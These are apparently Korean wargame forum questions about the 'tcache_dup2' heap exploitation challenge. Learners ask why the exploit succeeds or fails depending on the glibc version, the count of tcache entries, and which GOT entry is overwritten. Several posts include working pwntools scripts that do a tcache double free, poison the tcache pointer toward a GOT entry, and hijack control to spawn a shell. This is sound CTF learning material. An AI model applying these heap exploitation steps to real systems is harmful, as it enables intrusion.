tcache_dup2

문제는 해결했습니다. 하지만 got overwrite을 해줄때 처음에 printf나 read의 got를 overwrite해주려고 해보았는데 안되고 다른 함수의 got를 overwrite해서서 해결하게 되었습니다. 근데 printf,read의 got를 overwrite했을 땐 왜 안되는지 잘 모르겠는데 그 이유에 대해서 고수분들께서 도와주셨으면 합니다. ㅎㅎㅎ

Double free를 쓰지 않고 청크를 1번만 Free한 다음에 Modify_heap으로 next 포인터를 got 주소로 변경후 익스플로잇을 시도해봤습니다. 그런데 우분투 18.04 버전에서는 익스플로잇이 성공적으로 됐지만 우분투 20.04 버전이랑 리모트에서는 tcachebins 에 got 주소가 들어가긴 했지만 막상 malloc을 하면 tcachebins에 들어간 got 주소가 아니라 heap에 할당이 됩니다. 어떤 이유로 이런 결과가 나오는지 알려주신다면 감사하겠습니다 ㅠㅠ

modify_heap()부분에서 힙의 Data에 채워주는 dummy값의 수를 줄여주면 익스플로잇이 안되는데 왜 그런건가요?? 예를 들어서 ''' Modify(1,10,"A"*10) ''' 이렇게 진행했는데 "A"*10일 때는 익스플로잇이 성공적으로 진행됐지만 "A"의 수가 9개 이하일 떄는 익스플로잇이 진행되지 않습니다. 이유 아시는 고수분 답변 남겨주십쇼 아마 key값과 상관있을것 같은데 정확한 이유 아시는분 있나요?? 제가 참고한 블로그는 https://blog.naver.com/apple8718/memo/222251479607 입니다.

tcache의 chunk list를 활용해서 got overwrite를 하는데 puts_got의 경우 shell을 획득할 수 있지만 printf_got의 경우 shell을 획득하지 못했습니다. #free(0), free(1) tcache: chunk B -> chunk A #Modify_heap(1, 0x10, p64(e.got['puts'])) tcache: chunk A -> puts_got #Create_heap(0x10, b'A') tcache: puts_got #Create_heap(0x10, p64(e.sym['get_shell']) 위와 같은 과정을 통해 puts_got를 overwrite한 경우 shell을 획득할 수 있었지만 printf_got를 활용한 경우 shell을 획득할 수 없는 이유를 알고 싶습니다.

tc_idx가 낮은 값을 갖지 않게 하는 이유가 이후 할당할 때 tcache_entry를 참조하여 할당할 수 있게끔 하기 위해라고 했는데 이게 무슨 말인지 잘 모르겠습니다. ㅠ

안녕하세요. 이번 문제를 풀면서 tc_idx와 관련하여 궁금증이 생겨서 이렇게 질문을 남깁니다. tcache_dup와 Tcache Poisoning 워게임을 풀 때는 tc_idx를 신경써주지 않았는데, 해당 문제에서만 tc_idx를 신경써줘야 하는 이유가 Ubuntu 버전 차이인가요 ? 아니면 glibc 차이인가요 ? tc_idx를 쓰지 않는 문제는 도커 파일이 Ubuntu 18.04 libc-2.27.so이고, 이번 문제는 Ubuntu 19.10, libc-2.30.so 입니다. 그리고 tc_idx가 0일 때, malloc을 하면 어디서 청크를 할당받나요 ?

from pwn import * p = process("./tcache_dup2") e = ELF("./tcache_dup2") def create_heap(size,data): p.sendlineafter("> ",'1') p.sendlineafter("Size: ",str(size)) p.sendafter("Data: ",data) def modify_heap(idx,size,data): p.sendlineafter("> ",'2') p.sendlineafter("idx: ",str(idx)) p.sendlineafter("Size: ",str(size)) p.sendafter("Data: ",data) def delete_heap(idx): p.sendlineafter("> ",'3') p.sendlineafter("idx: ",str(idx)) get_shell = 0x401530 free = e.got['free'] create_heap(0x30,"aaaa") create_heap(0x30,"bbbb") delete_heap(0) delete_heap(1) modify_heap(1,0xa,b"A"*8+b"\x00") delete_heap(1) create_heap(0x30,p64(free)) create_heap(0x30,b"B"*8) create_heap(0x30,p64(get_shell)) delete_heap(1) p.interactive() tc_idx값을 3으로 만들기 위해 두번 동일한 크기의 chunk를 할당하고 free한후 하나의 chunk는 double free를 발생시켜 fd에 free_got 주소를 입력했습니다. 그리고 저는 다음번 할당때 double free에 사용했던 chunk가 할당되고 그다음에 fd값에 입력했던 free_got 주소로 할당될 거라고 생각했었는데 create_heap(0x30,p64(get_shell)) 이 부분에서 unaligned tcache chunk detected 라는 문구와 함께 종료되었는데 어떤 부분에서 잘못됐는지 잘 모르겠습니다ㅠ

exploit 코드에서 할당을 두번해서 인덱스 값을 3으로 만드는 이유가 궁금합니다!

문제를 풀다가 궁금한 점이 있어서 질문 남깁니다. 제가 처음에 작성했던 exploit 코드는 아래와 같습니다. from pwn import * #context.log_level = 'debug' p = remote("host3.dreamhack.games", 22465) e = ELF("./tcache_dup2") def create(size, data): p.sendlineafter(">", str(1)) p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def modify(idx, size, data): p.sendlineafter(">", str(2)) p.sendlineafter("idx: ", str(idx)) p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) def delete(idx): p.sendlineafter(">", str(3)) p.sendlineafter("idx: ", str(idx)) create(48, b"a"*0x8) delete(0) modify(0, 9, b"\x00"*0x8 + b"\xaa") delete(0) puts_got = e.got['puts'] get_shell = e.symbols['get_shell'] create(48, p64(puts_got)) create(48, b"a"*0x8) create(48, p64(get_shell)) p.interactive() 그런데 이렇게 해도 안풀려서 혹시나 하는 마음에 chunk를 2개 할당한 뒤 뒤에 할당한 chunk를 DFB로 해보았더니 exploit이 되더군요...코드는 아래와 같습니다. create(48, b"a"*0x8) create(48, b"b"*0x8) delete(0) delete(1) modify(1, 9, b"\x00"*0x8 + b"\xaa") delete(1) puts_got = e.got['puts'] get_shell = e.symbols['get_shell'] create(48, p64(puts_got)) create(48, b"a"*0x8) create(48, p64(get_shell)) p.interactive() 이렇게 chunk를 2개 할당해야 하는 이유가 무엇인지 알고싶습니다.

`create(0x40, b'AAAA') create(0x40, b'BBBB') create(0x40, b'CCCC') delete(0) delete(1) delete(2) modify(2, 0xa, b'B'*8 + b'\x00')` 위 코드에서 delete(2)를 실행 한 후 heap을 보면 3개가 free되어있는데, modify를 실행한 후 heap을 보게되면 `Allocated chunk | PREV_INUSE Addr: 0x21fb250 Size: 0x51 Allocated chunk | PREV_INUSE Addr: 0x21fb2a0 Size: 0x51 Free chunk (tcachebins) | PREV_INUSE Addr: 0x21fb2f0 Size: 0x51 fd: 0x4242424242424242` 위와 같이 두개가 할당되어 있습니다. 이유가 뭔가요??